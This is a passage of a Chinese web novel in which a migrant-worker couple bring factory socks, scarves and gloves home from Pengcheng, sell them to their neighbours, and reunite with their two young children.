最重要的是,那一袋袜子,里面有几百双,只要一百块钱一袋,能卖出去就绝对不亏。 别的赵如月不敢肯定,但是那些袜子,她可以确定,只要能带回老家,就一定卖得出去! 其他三袋东西,里面每种数量不多,应该也不难卖,要是年前卖不完,也可以留着慢慢卖,反正这东西又不会坏,成本也低,实在不行就打折卖! 赵如月问:“你能不能稍微等等,我出去跟我老公商量一下?” 工作人员挥挥手:“行,你去吧,你要的衣服我还没找全呢,可以商量好了再过来。” 赵如月转身跑出去,没一会儿拽着宁绍明一起来了:“你看看,就是那些。” 宁绍明问过工作人员后,跟赵如月一起过去,大致翻了翻那几袋东西。 确认那些东西确实不是瑕疵品,大小型号也都很齐。 他在心里粗略地算一算利润,跟赵如月对视一眼,两人不用说话,就默契地理解了对方眼里要表达的意思。 来的时候,他们是坐着陆发家的小汽车来的。 走的时候,他们是跟着最后一家厂里帮忙运货的皮卡车走的,五大袋东西,陆发的小汽车根本装不下。 陆发也没预料到事情会是这个走向,不过他看赵如月和宁绍明批了货,心里也挺高兴的,觉得不管怎么样,他们俩这次跟来有收获,这人情算是还回去一部分了。 晚上吴丽和黄文发下班回家。 看着客厅里几乎占满小客厅的那五大袋东西,两人齐齐傻眼:“那么多东西!你们这都买的什么?回老家日子不过了?!” 第30章 “就是想以后日子过得好一点,才买这些。”赵如月拆开袋子,拿出了适合他们尺寸的袜子,让他们拿一些去穿。 “我和绍明打算把这些货带回老家,趁着年前甩卖,挣点钱好过年,”赵如月拿了袜子,又打开另外的袋子,“别看那些袜子颜色花花绿绿的挺不好看,这些可都是工厂里的优等品呢,这里还有别的,你们快来选几样试试,丝巾、围巾、手套全都有,就是还没来得及分类,来喜欢哪个就拿哪个,算我们送的。” “那可不行,你们要拿去卖钱的,我选几样你给我算算多少钱,”吴丽摸了摸赵如月拿出来的袜子,觉得质量确实不错,拿了钱塞赵如月手里,“我顺便给家里父母孩子也买几样,你回去的时候,帮我带给他们就行。” 赵如月把钱又给她塞回去:“可别给钱,我们都多少年交情了,这点东西还用得着给钱?快给我收回去!不用你说我也得给他们送一些,我们捡了个大便宜,进货价低得很,送出去这点破不了产,你就放一百个心吧!” 宁绍明也在旁边附和:“小月说得对,你们就收下吧,后天我们回去,还得麻烦你们帮忙收拾房间和剩下带不走的东西。” 黄文发说:“你们留下的东西,全是平时能用得上的好东西,我们收拾也算我们占便宜了,哪能算帮忙。” “得了,一点东西,别一直叽叽歪歪的,”赵如月干脆自己挑出两条丝巾塞给吴丽,又挑出男女款不同颜色款式的围巾各两条,手套各三双,直接全部塞过去,“再退回来或者给钱,我真生气了!” 她都这么说了,吴丽和黄文发也不好再跟她推来推去地客气:“好吧,我们这回算是沾光了。” 两人摸着塞过来的东西,那质感,跟他们去逛商场的时候,只敢看看摸摸,不舍得买的那些质量一样。 要是去商场买,这么多东西,怕是要花出去半个月工资! 他们收下东西也在心里琢磨,得买点什么让赵如月和宁绍明带着,坐长途车的时候在路上吃。 以前来的时候兜里没钱,他们坐长途车带的就是家里煮的鸡蛋,街上买的馒头、包子,这一类便宜的东西,连水都是从家里拿个水壶装的凉白开。 什么零食、面包、饮料,那是想也不敢想的‘奢侈品’。 现在不一样,他们每个月都能挣钱了,那些以前舍不得买的东西,偶尔也舍得买点打打牙祭,买来送朋友一回也不会觉得心疼。 赵如月和宁绍明十四号早上的车回老家。 这几天鹏城终于降温,晚上温度低,吴丽和黄文发一般一下班直接赶回家,不在外面逗留受冻。 十三号这天黄文发去接吴丽下班后,两人没跟以往一样马上回家,而是拐去了附近的商场。 先去商场的超市里买了些零食和饮料,出来又去面包店,挑了各种不一样的面包凑一袋。 回去的路上,路过卖盐焗鸡的店,又买了一些盐焗鸡翅和盐焗鸡腿,回家后只给自己留了两个面包明早当早餐吃。 其他的全塞给赵如月和宁绍明:“你们带着路上吃!” 赵如月夫妻俩看着面前的两购物袋东西,目瞪口呆:“我们15号早上就到家了,哪能吃得了那么多!” 吴丽说:“天冷,不容易坏,吃不了带回去给小秋和小夏吃。” 黄文发点头:“就是!” 赵如月想了想,这些东西推八成是推不掉,她看里面有不少保质期比较长的东西,干脆不再推拒。 大不了带回去后,给他们家妙妙和小德也分一分,在他俩回去之前,就让两个孩子提前高兴一回。 即将要回家,行李早就打包好,赵如月躺在床上却一直没有困意。 一想到即将见到两个孩子,她怎么都睡不着。 脑子里不断地在想,回老家之后,跟两个孩子一直生活在一起,她以后就真的能教育好两个孩子吗? 她这次该怎么养他们?该选择怎样的教育方式,又该如何实施?万一不顺利怎么办? 一直到半夜才迷迷糊糊睡过去,感觉没睡多久,闹钟就响了。 起床的时候赵如月脑袋昏昏沉沉,好在没生病,只是一直打哈欠。 宁绍明看她没精神,一上车就催她赶紧补补觉,可别晕车再吐了,到时候更不舒服。 好在他们包的车是长途卧铺车,可以躺下,回去的人里也没有乱七八糟的陌生人,只有他们老乡。 宁绍明一说赵如月昨晚没睡好,现在想睡一会儿觉,就有几个老乡也说,因为今天要回老家,他们昨晚同样兴奋得睡不好,也想睡觉,其他人就主动压低了声音说话。 上了车后,赵如月很快就睡着了。 一觉睡醒,刚好车子要在半路的高速公路服务区停下休息,服务区有收费的洗手间,可以洗漱、上厕所。 吴丽和黄文发买的那些东西,赵如月早上吃了点,这会儿看着那么多好吃的东西,却没什么胃口。 反而闻到别人泡的方便面香味,有点想吃方便面。 她拐去服务区的小超市一看,普通商店卖四、五块钱一桶的桶装方便面,这里直接翻倍,卖十块钱一桶! 十块钱,买袋装的都能买四袋了! 赵如月什么也没买,空着手出来了,心里想着,等她到家,直接买两箱放家里慢慢吃! 出了小超市,回去勉强往肚子里塞了点东西,车子再次上路。 她一上车,又睡着了。 再次醒来,已经是晚上,离家越来越近,但凌晨两点到五点,长途大巴不能上高速。 凌晨一点多将近两点的时候,车子要停在另一个高速公路服务区过夜,凌晨五点后才再次上路。 重新上路的车子又继续开了两个多小时,赵如月终于在路边的指示牌上看到:云山县、出口、12公里的字样。 其他人也看到了那个牌子,这意味着他们真的快到家了,车上的氛围有些躁动,这时候已经没人再睡觉。 十四号上午八点钟,车子下了高速,继续往榕溪镇开。 下高速后,距离高速出口最近的一个老乡很快到了家,他的家人早早在门口等着。 车子一停下,他的家人立刻迎上来,一叠声说着:“到了到了!终于到了!” “路上怎么样?没晕车吧?” “东西我们拿着,你快去跨火盆!” “快去洗洗脸和手,早饭都做好了,知道你们早上到,我们都等着你们回来才吃,吃完你们就先去好好休息……” 车子重新启动,越开越远,团圆的第一家人逐渐看不到了,车上载着也即将跟家人团圆的人,心里都难掩激动。 一个个盯着窗外熟悉的家乡景色,有些平常话不多的人也控制不住地多话起来。 “也不知道我爸妈在不在家,前几天打电话回去,他们说要借牛去耙水田,我让他们等我回去再耙,也不知道有没有听进去。” “耙田那么早?不是二三月份才开始育秧?” “他们说这些年出去打工的年轻人多,养牛的人家少了,怕到时候借不到牛,我想着等还了家里的债,要是还剩点,干脆自家买一头小牛,让家里老人养。” 另一个人说:“养牛麻烦,我打算攒够钱就买辆拖拉机,到时候能运货,还能拆下拖拉机头,改成旋耕机,装上水田轮犁地、耙地都行。” “怎么的,你以后还回家种地啊?” “不种地能怎么办,总不能打一辈子工吧?孩子上小学他们爷爷奶奶还管得了,我们出去还行,上初中就不好管了,我们当父母的可不能不在身边。” “嗐,这有什么,孩子读得出来就供,读不好就让他们也跟着出去打工呗,一家子一起挣钱多好!” 另一个人笑笑不搭这话了。 赵如月听着别人聊天没吭声,他们家也快到了。 十分钟后,熟悉的老房子映入眼帘。 从早上起床到现在,一直蹲在家门口眼巴巴等着的宁时秋和宁时夏,远远看到一辆极少见的、比去县城的公交车还要高大的大巴车来开,立刻猛地站起来。 他们目光灼灼地盯着那辆车,心里默默念着:万别是路过、千万别是路过…… 在他们期待的眼神中,那辆车稳稳当当地停在他们家门口。 两人不可置信地愣了好几秒,听到熟悉的声音在叫他们的名字:“小秋!小夏!”才如梦醒一般回过神来,往车门的方向冲过去。 “妈妈!” 赵如月红着眼眶一手揽着一个孩子:“小秋小夏,我们回来啦!” 宁绍明乐呵呵地站在旁边,摸摸两个孩子的脑袋,他刚想说话就被一起回来的邻居叫走:“宁三哥,快来搬你们的东西!” “来了来了。”宁绍明想起他们东西很多,急忙招呼从家里出来的父母、大哥还有大侄子,帮忙一起搬。 帮忙搬东西的他大哥宁绍贤一边搬一边瞪大了眼睛,夸张地说:“你们夫妻俩这是发达了,把鹏城的商场整个搬回来了?” 宁绍明笑着说:“什么发达,没有的事,我跟小月在朋友亲戚家的厂里拿的东西,等进去再仔细跟你们说。” “好家伙,”宁绍贤再次发出夸张的感慨,“你们俩真是出息了,竟然还结交到了家里有亲戚开厂的朋友,早知道去年我也该跟着去打工的。” 宁绍明:“……” 他默默在心里决定,等会儿跟家里的说辞,改成他们跟工厂赊账拿的那些货,进货价也要说得再高点。 30-40 第31章 赵如月两人带回来那么多东西,不仅宁家人震惊,连同一条街的邻居、住得近的亲戚都来看稀奇了。 “听说了吗?宁老三两口子发财了,带回来好几大袋东西!一起去看看不?” “还用得着听说?我当时端着早饭在他们家门口,边吃边跟人唠嗑,亲眼见到宁老三招呼他家人搬东西进去的!早饭吃完了,回来放碗,正准备再过去看看。” “还真是啊!走走走一起去!诶,那个谁,你老婆不是宁老三老婆堂姐么,你跟他是连襟啊!你不去看看?” “去啊,我先回去叫我老婆,她前几天还念叨好久没见堂妹,等他们回来要好好聚一聚。” 一群人呼朋引伴的,仿佛要去看马戏。 赵如月娘家离得近,也有人去通知了她父母、哥嫂和姐姐姐夫。 不过他们想着,赵如月夫妻俩坐那么久的车刚回到家,肯定需要休息,也要跟亲家和孩子们好好说说话,就都没来。 宁家很快变得比菜市场还要热闹。 赵如月本来想先跟儿女好好亲近一下,给他们看看自己和宁绍明给他们买的滑板、自行车、零食,试试给他们买的衣服。 可上门看热闹的人源源不断,她不好好招呼,别人转头可能就背地里说他们家闲话。 之后还要卖东西呢,这些可都是潜在客户。 赵如月只好先把滑板和自行车拿出来,交给宁时夏和宁时秋,让他们俩出去玩,自己打起精神来应付邻居和亲戚们。 “绍明,这些买回来过年用的东西,你先搬到房间里放着,晚点我们收拾好再拿给爸妈。”赵如月指了指除开那五袋货之外的其他所有东西。 她指的那些不全是买回来过年用的,也就是找个借口这么一说,让宁绍明把这些全搬到他们房间里,省得别人乱翻。 宁绍明也明白,没傻兮兮地说出来有些不是年货,老婆怎么吩咐,他就怎么做。 等他把东西搬进去,赵如月已经利索地打开一个装袜子的袋子,满足前来围观的邻居和亲戚们的好奇心。 “其实也不是什么稀罕玩意儿,”赵如月拿出几捆袜子,“我们包车回来,正好有两个位置空着,我和绍明就想着,那位置空着也是白空着,平摊到每个人头上,大家也要多花钱,干脆去朋友亲戚家的厂子批了点货回来,要了那两个位置放货,想趁着年前东西好卖,试着卖卖看。” 她说着,把另外几个袋子口也打开了,让大嫂帮忙盯着点。 大嫂这人,毛病不少,赵如月是很讨厌她在自己孩子面前胡言乱语、搬弄是非,但她现在还不能跟大嫂翻脸。 因为在外人看来,他们夫妻俩出去打工,孩子留在老家,虽然说是让两个老人帮忙带,可还没正式分家,大嫂在别人眼里也是帮衬了他们的。 如果她一回来就跟大嫂翻脸,以后别人不敢在她面前说什么,却有可能背着她对她的孩子们嚼舌根。 另外,毛病多的人,也不代表她没有一点可取之处。 大嫂当然也有她好的地方,那就是她分得清里外,还比较护短。 自家的东西,别人甭想在她眼皮子底下顺走一点。 自己这个妯娌,跟现在围着看热闹的人比起来,在大嫂眼里算是自己人,那妯娌的东西也算是家里的东西。 王海燕也确实是这么想的,另外她也想着,自己帮弟妹这么个小忙,没准能也从中沾到好处,那些东西肯定是要看紧了。 这不,好处马上就来了。 赵如月小声跟她说完,拿出来的那三捆袜子,直接就塞了两捆进她手里:“大嫂,你拿着穿,千万别跟我客气!” 剩下的一捆才分发给围观的女人,让她们轮流拿着看看质量。 “哎哟,这怎么好意思,”王海燕嘴上说着不好意思,手已经喜滋滋地接过那两捆袜子,“一捆得有五双吧?在街上买一双袜子至少要三块五,这么多袜子,要三四十块钱呢,我可不能白拿你的,等会儿拿钱给你!” 赵如月知道她是口是心非,说等会儿拿钱,真会给才怪了,她就是想占个口头的便宜。 东西给都给了,赵如月可不会在这方面吃亏:“一家人说什么给钱不给钱的,这里还有丝巾和手套,我给你挑红色好看的,过年戴着应应景!” 说着又打开另一个袋子,掏出放在上层,早就准备好的丝巾和手套,不由分说地全塞王海燕怀里。 继续说道:“我们这边不生产这些东西,运货过来远,进货价和运费比较贵,镇上那些袜子价格才卖那么高,我这是回来过年,顺道捎回来的厂家直批,运费还比别人低,价格肯定不会定那么贵的。” 有摸了半天袜子的急性子邻居,发现这袜子摸起来,比自己在镇上买的手感好很多。 听赵如月说她卖的价格会比镇上的便宜,立刻按捺不住追问:“你打算卖多少?我们邻里邻居这么多年,可要给个真正的实惠价!” 其他人也纷纷跟着问,完全没人提这些袜子的花色颜色问题。 甚至有些上了年纪的大娘觉得,那大红大绿的颜色好,比街上卖的那些喜庆。 赵如月顺势说出这些东西要卖的价格:“放心,我又不是做完这一单全家人就跑路了,往后还要继续当邻居,怎么也不会坑你们,不过只买一两双的话,肯定便宜不了多少,不到五双的,都是按照单价三块一双来卖。 但是买五双只要十块钱,十双只要十五块钱,不分大人小孩全都一个价,这样我方便算钱、找钱,毕竟我也不是专门做生意的,可没那么多零钱找零,你们要是买不了那么多,可以自己找人凑一凑。” 赵如月回来之前跟宁绍明大概地算过,他们回来的车费因为是包车,比去汽车站买票坐车便宜许多,一个位置才一百八十五块钱。 就算把他们两个的位置也算进成本里,哪怕全都以十双十五块钱的这个价格卖出去,只卖出一袋袜子也能回本,并且小赚。 有个大娘听到赵如月后面那几句,不解地问:“你们俩不是认识人有货源吗?年后不打算继续做这个生意了?” 赵如月笑道:“我的婶儿诶,哪能一直有这种好事,你看到这些袜子的花色没,红红绿绿的,全是圣诞节特供款,工厂生产的优等品! 这个节日城里人一年就过那么一次,我们运气好才捡漏到这些货,卖完就没有了,别说年后,就是明年这个时候也不会再有。” 大娘哪知道什么圣诞节,她只知道这袜子喜庆好看,还是优等品,还便宜!该下手时必须下手,错过就没有了! 这会儿屋里只剩下女人了,刚才一起进来看热闹的男人们,一看全是这些袜子、丝巾、围巾什么的就没了兴趣,也不耐烦继续待着。 宁绍明往房间里搬完东西一出来,那些男人立刻拉着宁绍明出去。 都想跟他聊聊他们在外面这一年遇到的事,最重要的是给他们介绍货源的那位朋友,以及那位朋友家开厂的亲戚。 有人明年也想出去打工,想问问宁绍明能不能带自己一起出去,给介绍个工作,要是能进熟人的厂肯定是最好的。 有人则是想知道他怎么走的大运,认识到那样的贵人。 这些人里,要么是跟宁绍明从小认识,一起长大,要么是看着宁绍明长大的,当然也有宁绍明看着长大的。 明明一年前,大家还是一样的小镇普通人。 但是一年后,宁绍明竟然认识了那么一个家里有亲戚开厂的朋友。 他整个人看起来也跟以前有点不一样,仿佛有点城里人那个味儿了。 这让不少人心里十分复杂,说不出是什么滋味。 堂屋里,赵如月已经开张了,几乎每个人打算买袜子的人都是十双十双地买。 本来过年就要给家里人添置点新衣服、新鞋、新袜子什么的,既然这里的质量好又便宜,当然不买白不买。 十双看起来有点多,但全家人分一分,每个人也就一两双。 要是家里人多,还像宁家这样没分家,买二十双回去也不够分的。 没带钱的赶紧回去拿钱,赵如月说袜子只有那两袋,卖完没有了,让不少人有一种紧迫感,生怕自己回来晚了买不着,回去拿钱都是小跑着的。 偏偏这些人在路上遇到熟人,还兴奋地跟人家说,赵如月这里有便宜袜子卖,让人家也赶紧去。 结果来买的人越来越多,一袋袜子几乎卖光,来的人才慢慢减少。 还有人卖了袜子,又看上了别的东西,问赵如月怎么卖。 那些东西赵如月还没分拣好,再加上坐车那么久,到家也没能好好休息,就要应付这么多人,实在是有点累了。 就跟她们说这些明天才卖,想挑好的明天记得早点来。 女人们买完东西,又聊了一会儿才慢慢散去,等宁绍明回来,剩下的人也走了。 宁绍明在外面应付那些来打探的男人也不轻松。 夫妻俩对视一眼,都感觉身体累、心也累,很想马上回房间躺下好好歇一会儿。 但是事还没完,父母哥嫂八成也有一肚子话等着问他们呢。 宁绍明正想趁大嫂拿赵如月送她的东西回房放,父母、大哥和侄子也还在外面没进来,跟赵如月说自己的想法,改改对家里的说辞。 门口忽然冒出两个小脑袋。 第32章 两个孩子看屋里只剩下自己爸爸妈妈,便小跑着进来。 宁时秋已经懂事了,好久不跟父母接触,又觉得自己是哥哥,是大孩子了,不能像小孩子一样跟父母撒娇,在他们面前还有点不好意思靠太近。 宁时夏一个三岁的小孩,没什么都不懂,所以完全没那些顾虑,一跑进来就黏在香香的妈妈身边。 她一手半抱半拖着滑板,一手抱住赵如月的胳膊,奶声奶气地问:“妈妈你累不累?” 赵如月下意识想跟上辈子孩子每一次问她类似的话时一样,回答:妈妈不累。 话没出口,她对上孩子天真的眼神,又想起每一次说自己不累,其实并不是真的不累,那些累也没有消失,只是被积累在她心里,越积越多。 直到某一天突然爆发,让孩子感觉到十分莫名其妙。 赵如月又犹豫了,对待这个原本再普通不过的问题,变得小心翼翼起来。 一时间竟不知道,自己该怎么回答才是对的。 如果说不累,会不会又重蹈上辈子的覆辙? 说累的话,又会不会走向另一个不好的结果 回家前一天晚上,困扰得她翻来覆去睡不着觉的问题,在这时候突然具象化,让她有些无措。 不过孩子只是年纪小,不是傻子,尤其是这孩子还很聪明活泼,很懂得观察。 没得到回答,宁时夏也不知道什么尴尬。 她无师自通,在询问没有得到答案之后,很快改成通过自己的观察来判断:“爸爸妈妈看起来都累了,我和哥哥给你们铺了床,你们快去休息吧,等休息好再吃东西。” 宁时夏说完转头看向宁时秋:“哥哥这样行吗?爸爸妈妈才回来,刚才还干好久的活,最需要休息,不马上去吃早饭,奶奶应该不会生气吧?” 赵如月知道老一辈以及她这一辈的人,对于一日三餐,总是有一些固执的规律,很是看不惯年轻人在吃饭这件事上的拖延。 家里每天三餐必须吃,而且没有意外的话,吃饭的时间几乎每天都差不多。 一旦到饭点,做好饭,必须一叫马上来吃。 谁慢一点必然挨骂,也不许说等会儿再吃,更不允许说什么没胃口,说没胃口的都要被批成矫情。 宁时秋说:“我问过奶奶了,她说爸爸妈妈不管先吃早饭再休息,还是先休息再吃都可以,他们先休息其他人就先吃,提前把他们那一份留出来就行。” 宁时夏点点头,放下自己的宝贝滑板,牵起赵如月的手,又转头去牵宁绍明:“我带你们去休息!” 宁绍明想得没赵如月那么多,他满心欣慰又骄傲地想着:两个孩子真懂事,小小年纪就会心疼父母了,他的孩子果然是最乖巧、聪明、可爱、懂事、机灵的! 他把东西搬进房间的时候,床还没铺呢。 这两个孩子肯定是后来看他们都忙累了,悄悄进房间铺床给他们惊喜! 宁绍明空着的另一只手,牵起站在旁边巴巴看着的儿子,一脸感动地跟着老婆孩子往房间走。 赵如月完全没想到会是这个走向,那个问题,还不等她做出反应,他们已经被两个孩子安排得明明白白。 她诧异地问:“你们俩学会铺床了?” 宁时夏骄傲地挺起小胸脯:“我跟哥哥早就学会了!” 大声说完这句,她声音又弱下去,小小声地:“就是我力气还小,一个人没法干,我就给哥哥和丹萍姐姐打下手,也帮上忙了。” 宁时秋补充:“对,妹妹跟我一起铺的床,还有丹萍姐也帮忙了,被子太重,我们扛不动,是丹萍姐帮着扛出去晒太阳的,枕头和毯子是我和妹妹晒的。” 为了请丹萍姐帮忙,他还提前答应丹萍姐,等爸妈把给他买的自行车带回来,下学期开学,每个星期日把自行车借给丹萍姐骑去学校,周五下午再骑着自行车去接她回家。 还要瞒着大伯家其他人,这样丹萍姐就能把坐车的钱攒下来当私房钱了。 不过这是他们的小秘密,他连爸爸妈妈也不会告诉。 赵如月人都换上睡衣、盖上被子躺床上了,才从恍恍惚惚中回过神来。 她闻着被子上被太阳晒过的味道,凑到宁绍明耳边轻声说:“我们家的两个孩子是不是太有主见了?” 还知道提前帮他们晒被子铺床,要是没两个孩子帮着干,肯定没人想起来帮他们做这些,得他们回来自己做。 指望公婆?这事完全不可能指望得上! 宁绍明回到家,彻底放松下来,沾着都快睡着了,听到她的话,迷迷糊糊地回应:“有主见不是好事吗?” 赵如月听了他这话,再结合上辈子在网上看到的,一些年轻孩子的言论。 脑子灵光一闪,觉得自己似乎抓住了什么窍门,但她身体和精神都很疲惫,想着想着也陷入了沉睡。 醒来的时候已经是中午,好在睡前想的事她没忘记。 已经隐约有点知道,该怎么跟两个孩子相处了,首先就是不懂别乱教,毕竟上辈子不在他们身边的那些年,俩孩子自己也长得挺好,至于其他的……还得慢慢摸索。 夫妻俩起床后,开始收拾搬进房间的东西。 给双方父母的衣服、袜子、围巾、手套这些拿出来,分别放好。 再拿出提前准备好的红色塑料袋,把带回来的散装饼干、糖果、果冻,还有水果,每样拿出一些。 数着要分的亲戚数量,每家一份,一袋一袋地装好,确保每一袋里饼干、糖果、果冻、水果的数量都差不多。 他们这里外出打工回来,全都是这么给亲戚分东西,大家都一样,他们也不特立独行。 在老家,也没人觉得散装的饼干、糖果就不高级,毕竟老家本来就不是什么经济发达的地方,大部分人家都不富裕,往常想吃还吃不上。 每年过年的时候,谁家有外出打工回来过节的近亲,分到这么一份,家里没有亲戚出去打工、或者关系比较远,分不到的亲戚都会很羡慕分到的人家,因为分到这些,过年自家就不用再花钱买了。 两人分了一会儿,房门被打开,门口又露出两个小脑袋。 这次赵如月身心不累,脑子也清醒,见到孩子一点也不局促了。 看到他们,就笑着招手:“快来给爸爸妈妈帮忙。” 两个孩子听到妈妈说要自己帮忙,眼睛一亮,立刻推开门进来。 妹妹蹦蹦跳跳一马当先:“妈妈我们要做什么?” 哥哥小大人似的,走在后面,还知道顺手关上房门。 赵如月毫不客气地指挥两个‘小兵’:“小秋帮忙分饼干,小夏帮忙分糖,你们爸爸负责分果冻和水果。” 宁时夏快言快语地问了一句:“那妈妈做什么?” 赵如月听到女儿的话,心想,要是上辈子钻牛角尖的自己,恐怕会觉得女儿在抬杠,看不得她休息一会儿。 但她现在通透多了,孩子年纪那么小,真没什么复杂的心思,肯定是童言无忌想说什么就直接说出来了,大人千万不要多想,多想就是自找烦恼。 赵如月玩笑着说:“我是指挥官,专门指挥你们干活!” 果不其然,孩子根本没想太多,听到她这话,开心地鼓掌:“好耶!电视上指挥官最厉害,妈妈是家里最大的官,我听妈妈的!” 还学着电视里的样子,立正向她敬礼:“请长官放心,保证完成任务!” 然后认认真真一丝不苟地开始数糖,一家人都被她逗笑了。 有了两个‘小兵’帮忙,还别说,速度确实快了不少。 东西分好,两个‘小兵’还意犹未尽。 赵如月想起回来之前,吴丽和黄文发给他们买的、让他们带在路上吃的东西。 她跟宁绍明都没吃多少,面包袋子里,各种面包小蛋糕还剩下大半袋。 超市的袋子里,几乎都没怎么动过,装盐焗鸡翅、盐焗鸡腿的袋子甚至一路上都没打开。 赵如月全拿出来交给两个孩子:“你们看看喜欢吃哪些,把喜欢的留下,等会儿我再分一部分出来,给你们妙妙姐和小德哥送去,再给你们堂哥堂姐也分一点。” 有零食! 这下连小大人宁时秋都忍不住,开心地跟妹妹一起原地蹦跶。 兄妹俩像拆盲盒一样,把三个袋子整整齐齐地一字排开,本来想点兵点将,点到哪个袋子就先打开哪个。 谁知装盐焗鸡的盐焗香味和肉香味太霸道,孩子们隔几天才能吃一次肉,肚子里油水不太足,完全无法拒绝肉的诱惑。 顾不上点兵点将,默契地一致看向那个袋子。 袋子一打开,那股味道更浓郁了。 宁时夏深深吸一口香味,咽口水的声音咕嘟地一下,挺大声。 她最爱吃肉,眼巴巴地看向赵如月:“妈妈,这个要给别人分吗?” 盐焗鸡翅和鸡腿都比较贵,买一点就要几十块钱,吴丽和黄文发也就是遇到了随手买了几个,总共没多少。 赵如月到底更心疼自己生的,看了看袋子里的数量,对两个孩子说:“你们能吃完就吃都吃了吧,面包多给哥哥姐姐们分一点就好。” 两个孩子又是一声欢呼,也数了数数量,你一个我一个地分,还要给爸爸妈妈也分。 宁绍明在酒店吃过不少回,也给赵如月带过很多次,两人都不馋这个。 他们看爸爸妈妈确实真的都不想吃,才两个人分好,开心地吃起来。 看着两个孩子啃肉啃得那么香,还小声嘀咕,说这个真好吃,上次吃肉已经是在三天前了。 夫妻俩听了感觉一阵心酸。 第33章 宁绍明出去打工之前,把分给他那些地里去年收的米,全存着没卖。 那么多米,供两个孩子吃到今年年底,也能剩下不少。 剩下的那些米,拿去卖也够孩子吃青菜的钱了。 也就是说,两个孩子在家吃的米和青菜,算是不花钱的。 他们寄回来的钱,只供两个老人和两个孩子花的话,他们每天肉都行。 可他的孩子却隔几天才能吃上一次肉。 宁绍明这心,又跟被针扎了一样疼起来,也不自觉地想起,以前跟老婆聊到分家时她说的话。 要是可以早点分家,选那块空宅基地,似乎也没那么让他难以接受了。 等两个孩子吃完盐焗鸡,又在那两袋东西里,选了自己喜欢吃的留下。 剩下的东西,赵如月拿了少部分,也就两个面包和一些薯片、蛋黄派、威化饼、奶糖之类的零食,装在小一点的袋子里,让儿子拿去给他堂哥堂姐吃。 大部分全都装进超市购物袋里,又拿出给吴丽和黄文发父母,还有他们两个孩子的袜子、围巾、丝巾、手套,打算给他们送去。 对宁绍命说:“你去厨房看看中午吃什么,我继续收拾房间,让小秋和小夏去把这些送了,吃过晚饭再去看看我爸妈?” 宁绍明点头站起来:“行,对了,不给文发家也带一袋分好的糖和饼干那些?” “不用,等他们回来,这些东西肯定也要买不少,估计过完年都吃不完,而且我们那么多发小,给了文发家,给不给其他人家?” 听她这么说,宁绍明就没再坚持给,毕竟都是发小,也不好厚此薄彼。 宁时秋给堂哥堂姐送完东西回来,又接到任务,兴奋得完全没了小大人一样的稳重。 他立刻兴致勃勃地跑到前院,把自己的自行车到房门口:“妈妈,我可以用自行车载着东西送去!” 赵如月意外地看着儿子:“你已经会骑自行车了?” “我提前借同学的车学过了。” “那正好。”赵如月买的儿童椅翻出来,儿子说要骑车载着女儿去上学,她担心女儿太小,坐后座会后仰摔下去,就顺便把儿童椅也一起买了。 “我把儿童椅给小夏装上,等会儿让小夏坐后座,抱着一袋东西,另一袋装前面的篮子里,你慢慢骑,千万要小心路上的车。” 虽然现在老家路上连摩托车都不多,更别说汽车,可该叮嘱的还是要叮嘱。 宁时夏很想也滑着自己的滑板去,可街上有滑板的孩子极少,只有一个比她和哥哥都大的孩子有。 她之前借不到人家的滑板,没法提前学,所以现在还没学会,只敢蹲坐在滑板上,双腿拄着走。 只好无奈放弃用自己的‘交通工具’执行任务,坐上哥哥的自行车后座。 赵如月站在门口,固定好儿童椅后把女儿抱上去,让她抱好东西,别弄掉了: “那个黑色的袋子里,还有一个红色的小袋子,里面装着给你们小丽阿姨娘家爸妈的围巾、手套和袜子,到了你们妙妙姐家,给他们东西的时候就说,这些东西他们爸爸妈妈都给过钱了,让妙妙把她妈妈给她外公外婆买的东西送去。” 两个孩子点点头:“记住了!” 黄文发家离他们家不远,骑自行车要不了五分钟就到了。 两个孩子稳稳当当地来到他家门口,却没进门,转而熟门熟路地冲着另一户人家喊:“妙妙姐!小德哥!” 喊了几声,黄妙妙姐弟俩果然从邻居家出来了。 “小秋小夏?你们找我们?” 黄圣德看到宁时秋的自行车瞪大了眼睛:“小秋,你爸妈真给你买自行车了?!” “嗯!”宁时秋用力点头,心里有些小得意,“我早说过了,我爸妈肯定不会说话不算数,小夏的滑板也买了,不过要拿给你们的东西,不方便拿滑板,就没带来,你们想看的话,可以去我家看。” 黄圣德跑到宁时秋身边围着自行车团团转:“我想看!小秋,可以让我骑一下你的自行车吗?” 宁时秋还没骑过瘾:“等过几天吧,你们先拿东西。” “小丽阿姨和文发叔给你们买的东西,让我爸妈捎回来,我妈说他们给过钱了,”宁时夏把自己抱着的袋子递过去。 然后指着前面车筐里的超市购物袋,口齿清晰地复述妈妈交代的话:“那个白色的袋子里是面包和零食,里面有一排娃哈哈,还有一瓶营养快线和一瓶可乐呢!” 她都尝过了,也特别喜欢喝来着,本来想全都留下,不过爸爸妈妈说先分给妙妙姐和小德哥一半,留一半就好,喝完改天再给她买,她就同意了。 宁时夏又指向刚刚自己抱着的黑色袋子:“这个黑色袋子里是围巾、袜子还有手套,里面还有个红色的袋子,我妈说让妙妙姐把红色袋子里的东西,给你们外公外婆送去。” 听到有好吃的,黄圣德又顾不上看宁时秋的自行车了。 他立刻上前搬出车筐里的超市购物袋:“哇,好重,幸亏我力气大!” 把袋子搬出来,黄圣德站在街上就想把袋子打开,拿零食吃,刚拆开袋子上打的结,手就被打了一下。 他们光顾着说话,谁也没注意到,一个老太太不知道什么时候从黄家出来,站在他们身边看了有一会儿了。 “奶奶你打我干嘛!”黄圣德搓了搓被打红的手,大声抱怨,“手都被你打红了,你看看!” 老太太一瞪眼:“活该!谁让你在大街上乱放东西,你看看地上,脏不脏?” 黄圣德看了一眼,没觉得有多脏啊,他平时还趴在地上跟朋友弹弹珠玩呢。 不等他说话,老太太已经抢先吓唬他:“早上放牛的路过,我看到有牛在这里拉屎了,你要吃牛屎?” 黄圣德有低头看地上,没看出来。 不过他知道一大早牛经过,一拉完屎,还热乎着冒着热气就会被人抢着铲走当肥料。 上午到现在,又有那么多人来来往往地走过,看不出来也很正常。 黄圣德成功被膈应到了:“我才不吃牛屎!我带回家去,家里的地板总干净了吧!” 老太太满意地点头:“这就对了。”这傻小子,没看到外面那么多小孩围着看呢,在外面拆吃的,不得给别人分点? 那可是捎回来的好东西,多少够分的?傻不傻! 老太太看着孙子把东西搬进家里,转头笑眯眯地问宁时秋兄妹俩:“小秋小夏去不去婆婆家玩?婆婆让小德哥给你们分糖吃。” 宁时秋摆摆手:“不了婆婆,我们家里也有,爸妈还在家等着我们回去吃午饭,我们先回去了。” 老太太也知道,他们爸妈回来肯定也给他们买。 